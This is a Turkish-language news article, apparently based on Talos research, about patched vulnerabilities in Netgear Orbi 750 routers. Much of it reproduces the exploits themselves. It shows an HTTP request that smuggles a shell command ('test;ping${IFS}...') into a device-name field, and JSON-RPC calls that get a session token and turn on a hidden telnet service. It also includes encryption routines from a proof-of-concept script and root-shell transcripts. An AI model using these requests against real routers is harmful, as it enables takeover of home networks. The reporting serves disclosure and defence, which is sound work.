Tehdit, en kısa sürede manuel kontrol yapılmasını gerektirecek kadar ciddi.
Bir Orbi 750 serisi yönlendirici |
Uzaktan rasgele komutlar enjekte etme
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1 Host: 10.0.0.1 Content-Length: 104 Authorization: Basic YWRtaW46UGFzc3cwcmQ= Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866 Connection: close action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
Cihaz aşağıdakilerle yanıt verecektir:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Talos'un keşfettiği diğer iki güvenlik açığı da Ocak ayında yamalar aldı. CVE-2022-36429 ayrıca, özel hazırlanmış bir JSON nesnesi oluşturan bir dizi kötü amaçlı paket gönderilerek yararlanılabilen bir uzaktan komut yürütme hatasıdır. Ciddiyet derecesi 7.2'dir.
İstismar, belgesiz bir telnet oturumu başlatmak için gereken bir kimlik doğrulama çerezini döndürmek için "admin" kullanıcı adına sahip parolanın SHA256 toplamını kullanarak başlar:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Gizli telnet hizmetini başlatmak için gereken "ubus_rpc_session" belirteci daha sonra görünecektir:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
Düşman daha sonra telnet hizmetini başlatmak için "telnet_enable" adlı bir parametre ekler:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
"admin" kullanıcı adıyla SHA256 karmasını oluşturmak için kullanılan aynı parola, bir saldırganın hizmette oturum açmasına izin verir:
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
Diğer yamalı güvenlik açığı, önem derecesi 6,5 olan CVE-2022-38458'dir. Kullanıcılardan şifrelenmemiş bir HTTP bağlantısı üzerinden bir şifre girmelerini isteyen cihazdan kaynaklanır. Aynı ağdaki bir düşman daha sonra parolayı koklayabilir.
Ölmeyi reddeden güvenlik açığı
def crypt_64bit_up(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0, 0x10):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[-2]
y = y ^ pArray[-1]
return (x, y)
def crypt_64bit_down(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0x11, 1, -1):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[1]
y = y ^ pArray[0]
return (x, y)
$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44 45 38 37 38 00 00 00 00 C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 admin...........
00000020: 50 61 73 73 77 30 72 64 00 00 00 00 00 00 00 00 Passw0rd........
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE 8F 14 65 9F B9 03 3C 8D ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43 84 4B BB F5 B1 B0 C5 32 .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F 7C 82 89 28 32 95 7C 64 c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D 7C 82 89 28 32 95 7C 64 S b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
=== LOGIN ===============================
Please enter your account and password,
It's the same with DUT GUI
------------------------------------------
telnet account: admin
telnet password:
BusyBox v1.30.1 () built-in shell (ash)
.oooooo. .o8 o8o .o. ooooooo ooooo
d8P' `Y8b "888 `"' .888. `8888 d8'
888 888 oooo d8b 888oooo. oooo .8"888. Y888..8P
888 888 `888""8P d88' `88b `888 .8' `888. `8888'
888 888 888 888 888 888 .88ooo8888. .8PY888.
`88b d88' 888 888 888 888 .8' `888. d8' `888b
`Y8bood8P' d888b `Y8bod8P' o888o o88o o8888o o888o o88888o
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, 10.0.3440.3644)
---------------------------------------------------------------
root@RBR750:/#